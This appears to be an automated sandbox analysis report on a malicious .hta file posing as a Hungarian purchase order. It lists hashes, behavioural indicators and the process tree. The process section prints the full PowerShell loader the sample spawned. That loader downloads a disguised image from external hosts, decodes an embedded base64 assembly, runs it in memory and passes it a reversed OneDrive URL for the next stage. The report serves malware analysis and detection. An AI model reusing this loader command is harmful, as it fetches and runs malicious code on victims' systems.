Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
12-02-2024 17:56
Static task
static1
Behavioral task
behavioral1
Sample
Rendelés_(PO5042208)_Az Idumont.hta
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
Rendelés_(PO5042208)_Az Idumont.hta
Resource
win10v2004-20231215-en
General
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Target
Rendelés_(PO5042208)_Az Idumont.hta
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Size
9KB
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MD5
0766fff13fcd69232a01442507c7faaf
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SHA1
e559fef859f0da7dbb27ee0ee81b68f759b8772a
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SHA256
5f86822a5a049aaa09d6f11ad557f4c2ae8ce57b37daa6b00658fff4ee1ce090
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SHA512
ae8bc05b1233b8495f18a3f11ebbd2a5e2ad8345b3eed593ef4885a76eff74fa5f9a11f150b087dfea1fba9a29d0ae8ac8107d7da5de7e5abdf848a1c8b68988
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SSDEEP
192:sv0r6VP2SMNXVBVLkC6YWILLDFDNk6cl26nWc8t9embQV:sv0rwQvDwhMDxNkmV9embm
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 2136 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2136 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2136 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
mshta.exedescription pid process target process PID 2104 wrote to memory of 2136 2104 mshta.exe powershell.exe PID 2104 wrote to memory of 2136 2104 mshta.exe powershell.exe PID 2104 wrote to memory of 2136 2104 mshta.exe powershell.exe PID 2104 wrote to memory of 2136 2104 mshta.exe powershell.exe
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Rendelés_(PO5042208)_Az Idumont.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/731/999/original/new_image.jpg?1707144651', 'http://45.74.19.84/xampp/bkp/bkp_hta.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('w5x8fgEv-w5YOBA!=yekhtua&99212%420139D0B4D360A9=diser?daolnwod/moc.evil.evirdeno//:sptth' , 'desativado' , 'C:\ProgramData\' , 'Name'))}}2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2136